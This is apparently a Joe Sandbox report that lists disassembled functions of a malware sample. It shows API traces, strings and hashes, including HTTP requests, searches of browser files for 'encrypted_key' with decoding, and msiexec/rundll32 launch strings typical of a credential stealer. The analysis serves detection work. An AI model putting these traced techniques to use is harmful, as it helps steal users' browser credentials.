Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: d665be6f6b72c2fd1f50265a8a77886c052a9d50f28cb4d1dd9ef89cf6d0b768
Instruction ID: d7e9500869627d845c9e8efe9a032641604b14f7358d034317d8ba3c90e3e2bc
Opcode Fuzzy Hash: d665be6f6b72c2fd1f50265a8a77886c052a9d50f28cb4d1dd9ef89cf6d0b768
Instruction Fuzzy Hash: B9120171D001089ADB59FBA0DC52FDEB738AF55300F50C169E51A66192EF382B4ECF6A

Function 6C69EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EC8C

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69ECA1
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C69ECC5
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69ED19
CloseHandle.KERNEL32(?), ref: 6C69ED28
free.MOZGLUE(00000000), ref: 6C69ED2F
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C69EC94

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction ID: 2ae2e6adba9c6c1c82c3a60dad5285ffbeb87b2139405902274e78f0153f2d9b
Opcode Fuzzy Hash: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction Fuzzy Hash: 1C21E575600106AFDF009F26DC44A9A3779FF8636DF144210FD1897745DB31A80ACBAE

Function 6C67C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C67C5A3
WideCharToMultiByte.KERNEL32 ref: 6C67C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C67C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C67CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C67CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C67CAA5

Strings

0, xrefs: 6C67D30A
(null), xrefs: 6C67C596

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction ID: ec663ae348d2d7e35e63457b47664be838fc7f850928f8c79191e0fbf81cf5c1
Opcode Fuzzy Hash: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction Fuzzy Hash: 2AA1B230608341AFDB20DF29C59475EBBE1AFC9758F048D2DE99AD3641D731E805CB6A

Function 000752C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0007A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0007A7E6

Part of subcall function 00066280: InternetOpenA.WININET(00080DFE,00000001,00000000,00000000,00000000), ref: 000662E1
Part of subcall function 00066280: StrCmpCA.SHLWAPI(?,00D7E3F0), ref: 00066303
Part of subcall function 00066280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00066335
Part of subcall function 00066280: HttpOpenRequestA.WININET(00000000,GET,?,00D7DB90,00000000,00000000,00400100,00000000), ref: 00066385
Part of subcall function 00066280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 000663BF
Part of subcall function 00066280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 000663D1

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00075318
lstrlen.KERNEL32(00000000), ref: 0007532F

Part of subcall function 00078E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00078E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00075364
lstrlen.KERNEL32(00000000), ref: 00075383
lstrlen.KERNEL32(00000000), ref: 000753AE

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Strings

ERROR, xrefs: 000754A9
ERROR, xrefs: 0007546F
ERROR, xrefs: 00075432
ERROR, xrefs: 000753B9
ERROR, xrefs: 0007530A

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 633289dc03f0d69695a5e6b558647e5eedbd83ef682707d56de0a735e9160370
Instruction ID: 8482b90a00abaf7eb8d596385287e4766e0db73aa9658b493b243f861e20ef85
Opcode Fuzzy Hash: 633289dc03f0d69695a5e6b558647e5eedbd83ef682707d56de0a735e9160370
Instruction Fuzzy Hash: 58510C30E101489BCB18FF60CD96AEE7779AF95301F508018E41E5A593EF786B4ACB66

Function 6C653480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C65350E
__Init_thread_footer.LIBCMT ref: 6C653522
__aulldiv.LIBCMT ref: 6C653552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C65357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653592

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

kernel32.dll, xrefs: 6C6534EA
GetSystemTimePreciseAsFileTime, xrefs: 6C653508

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction ID: 9855ab1f5cf0ff1ab9f91fc4aabf033d94efc2b8b54de8244a30b0250912f382
Opcode Fuzzy Hash: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction Fuzzy Hash: 5631B371B012469BDF00DFBAC888AAA77B5FB86745F204429F50193A64DB70B905CF69

Function 6C654480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C694843,?), ref: 6C6545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C694843,?), ref: 6C65468A
free.MOZGLUE(?,?,?,?,?,?,6C694843,?), ref: 6C6546C9
free.MOZGLUE(?), ref: 6C6546EF
free.MOZGLUE(?), ref: 6C654712
free.MOZGLUE(?), ref: 6C654735
free.MOZGLUE(?), ref: 6C654758
free.MOZGLUE(?), ref: 6C65477B
free.MOZGLUE(?), ref: 6C65479E

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction ID: 5853785377ad7fac109c5e2629cf6a5aa9a57433c8303e5361673e4d80730685
Opcode Fuzzy Hash: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction Fuzzy Hash: E5B1F671A001518FDB188E3CC8D07BD77A1AF42328FA846A9E416DBBC6D7B1D8748B59

Function 000712D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 8b107076143039f9f1cfab22941e71beb4e29b69f68c26188c6afd02d8a31e16
Instruction ID: 19c945e209d23ccdca7bbc7ea8d5cc33501de8fcc4077ad34faecadccacbd550
Opcode Fuzzy Hash: 8b107076143039f9f1cfab22941e71beb4e29b69f68c26188c6afd02d8a31e16
Instruction Fuzzy Hash: 60C140B5E402199BCB54EF60DC89EEE7378BF94304F008598E50E67182DF78AA85CF95

Function 00074280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00078DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00078E0B

lstrcat.KERNEL32(?,00000000), ref: 000742EC
lstrcat.KERNEL32(?,00D7DCC8), ref: 0007430B
lstrcat.KERNEL32(?,?), ref: 0007431F
lstrcat.KERNEL32(?,00D7CF58), ref: 00074333

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Part of subcall function 00078D90: GetFileAttributesA.KERNEL32(00000000,?,00061B54,?,?,0008564C,?,?,00080E1F), ref: 00078D9F

Part of subcall function 00069CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00069D39

Part of subcall function 000699C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 000699EC
Part of subcall function 000699C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00069A11
Part of subcall function 000699C0: LocalAlloc.KERNEL32(00000040,?), ref: 00069A31
Part of subcall function 000699C0: ReadFile.KERNEL32(000000FF,?,00000000,0006148F,00000000), ref: 00069A5A
Part of subcall function 000699C0: LocalFree.KERNEL32(0006148F), ref: 00069A90
Part of subcall function 000699C0: CloseHandle.KERNEL32(000000FF), ref: 00069A9A

Part of subcall function 000793C0: GlobalAlloc.KERNEL32(00000000,000743DD,000743DD), ref: 000793D3

StrStrA.SHLWAPI(?,00D7DC68), ref: 000743F3
GlobalFree.KERNEL32(?), ref: 00074512

Part of subcall function 00069AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00064EEE,00000000,00000000), ref: 00069AEF
Part of subcall function 00069AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00064EEE,00000000,?), ref: 00069B01
Part of subcall function 00069AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00064EEE,00000000,00000000), ref: 00069B2A
Part of subcall function 00069AC0: LocalFree.KERNEL32(?,?,?,?,00064EEE,00000000,?), ref: 00069B3F

lstrcat.KERNEL32(?,00000000), ref: 000744A3
StrCmpCA.SHLWAPI(?,000808D1), ref: 000744C0
lstrcat.KERNEL32(00000000,00000000), ref: 000744D2
lstrcat.KERNEL32(00000000,?), ref: 000744E5
lstrcat.KERNEL32(00000000,00080FB8), ref: 000744F4

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: e8a9380e511bb690dbc629c3683b02ed8dc61ad33a3129f07fe473b365a55bb0
Instruction ID: c4ef73df324cad8a615df00c5264a0a5f2c1a2a51565a236a67805c4044425ac
Opcode Fuzzy Hash: e8a9380e511bb690dbc629c3683b02ed8dc61ad33a3129f07fe473b365a55bb0
Instruction Fuzzy Hash: D9711876D00208ABDB54EBA0DC99FEE7379AF89300F048598F60997182DF39DB45CB55

Function 6C6BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C6BAC52
CreateFileMappingW.KERNEL32 ref: 6C6BAC7D
GetSystemInfo.KERNEL32 ref: 6C6BAC98
MapViewOfFile.KERNEL32 ref: 6C6BACB0
GetSystemInfo.KERNEL32 ref: 6C6BACCD
MapViewOfFile.KERNEL32 ref: 6C6BAD05
UnmapViewOfFile.KERNEL32 ref: 6C6BAD1C
CloseHandle.KERNEL32 ref: 6C6BAD28
UnmapViewOfFile.KERNEL32 ref: 6C6BAD37
CloseHandle.KERNEL32 ref: 6C6BAD43
CloseHandle.KERNEL32 ref: 6C6BAD67

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction ID: 1d55252a4fddc2fce995aea856eb7163ac88f37b0f772768b4ec13c3e935887d
Opcode Fuzzy Hash: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction Fuzzy Hash: A53190B1A043058FDB00AF7EC68826EBBF0FF85345F014A2DE98597215EB70A559CB86

Function 6C6A9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6A8273), ref: 6C6A9D65
free.MOZGLUE(6C6A8273,?), ref: 6C6A9D7C
free.MOZGLUE(?,?), ref: 6C6A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6A9E0F
free.MOZGLUE(6C6A946B,?,?), ref: 6C6A9E24
free.MOZGLUE(?,?,?), ref: 6C6A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6A9EC8
free.MOZGLUE(6C6A946B,?,?,?), ref: 6C6A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C6A9EF5

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction ID: fa545ec4329949322bd680fc9968324518d816ccd6c396595b76251b73b351ee
Opcode Fuzzy Hash: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction Fuzzy Hash: 2F71DF70909B418BC712CF68C48055BF3F4FF99318B508A5DE84A5BB02EB31E8C6CB99

Function 6C6ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

